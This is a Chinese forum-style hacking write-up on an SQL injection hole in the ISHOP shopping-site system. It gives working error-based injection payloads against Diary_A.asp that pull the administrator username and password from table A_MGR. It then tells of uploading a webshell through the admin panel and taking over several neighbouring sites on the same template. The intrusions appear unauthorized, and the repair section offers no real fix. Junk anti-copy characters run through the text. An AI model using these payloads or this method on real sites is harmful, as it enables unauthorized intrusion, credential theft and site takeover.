ISHOP商场建站系统注入漏洞

admin

发现一个注入点
; [2 f; Z* S* C4 o4 s7 \http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
- v( W, d1 X" b' z
1 w+ X2 I2 y, ~3 v习惯性的加’having1=1--
$ t) c0 ~( d' `% b+ X
, U! V. F, T: M$ Lhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
) G7 ~# s: ~  N- Q: v
0
/ G% Y7 `% J6 N# n* o* e
1 V0 L3 h" S$ g3 \4 t, w" m6 i% Z爆出Diary_A.dl_Title（这时候很激动啊）

那么继续
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

继续，一直爆下去

# i; N3 v( G+ ^爆到几个字段和表段 但是没找到需要的管理用户的字段
  h: {! K( N% G1 n0 W  Z
1 d# q7 {* t  @蛋疼了 怎么办 然后去后台登陆页看源码
, J# r; S8 v* D* s0 c
) F+ f1 l0 k& k) e9 r4 I0
! m& f, c& B3 H- K6 P
Input name= “ADUID”
9 \5 {  V2 [6 j. dInput name= “ADPWD”

4 X  ^" ^( h" {4 V# R# {很幸运 找到了字段那就继续
找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
* \6 z# h1 o- Xhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表
! a4 ~+ e- C3 u& u* f4 w; Y, M
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
/ w& g8 @: x) m* w" H/ Q  |& t8 J  N; R
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
. w. i! C. j% S" L2 J# j& ?
0 U  I; U4 \! S$ O473
* i8 L  m! m5 A5 A  P2 g- E
5 x( ]  b' i) {& S3 s进后台

& V6 x- p, u# [9 _, W
发现几个上传点 有的地方不能上传 而且防止恶意代码
: j5 Z' w2 S, D! ]7 ~2 ?
8 T3 p* X. i. y- ^没办法 各种百度各种找大牛 找到一只好像可以突破的马
1 H  B& G" @0 J( A/ z
: c) {* V+ J8 |$ {8 x3 z0 x4 e' P
在系统管理那里直接上传 不过没有显示地址

8 F6 i7 _2 J/ w再上传一次 抓包 搞定OK
9 H9 U, `7 R; K: K( g$ D& {


472
4 n! \4 q9 j0 V( h. ~
晚上不行了 去睡觉。。。
  w. i% f  J/ x- f第二天刚起床 闲的没事做继续日站吧
7 H. V0 n, U0 k, C
& M( r9 x3 u5 n, m找个站 就把这个站的旁c扫了下
& O7 l8 H/ Q2 [& L$ s- s% ?
% |0 u, e8 u' M% S) E: w9 G& q发现c段也有一个购物站 ，然后还和这个站的模板差不多
* b* Q' C8 z' v5 G8 F# l" x0 Y# A
# `$ ^) g2 ^* Q1 S2 n5 _8 _就找到会员登录口测试

. o% m0 J/ r2 @* x5 k* ^'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀

( C( t* Y4 }7 |9 i再次翻c段

翻出几个站 都成功拿下


: U5 x5 l& E5 G
6 v0 C% R" J9 [修复方案：
他们比我专业
% b: n% U# ~! t# m& W) x​
# b: {2 l4 {/ U# x" e! r
- n' j- ?% b( C- S6 \3 O
0 W6 Y7 b+ K: o# A) u9 i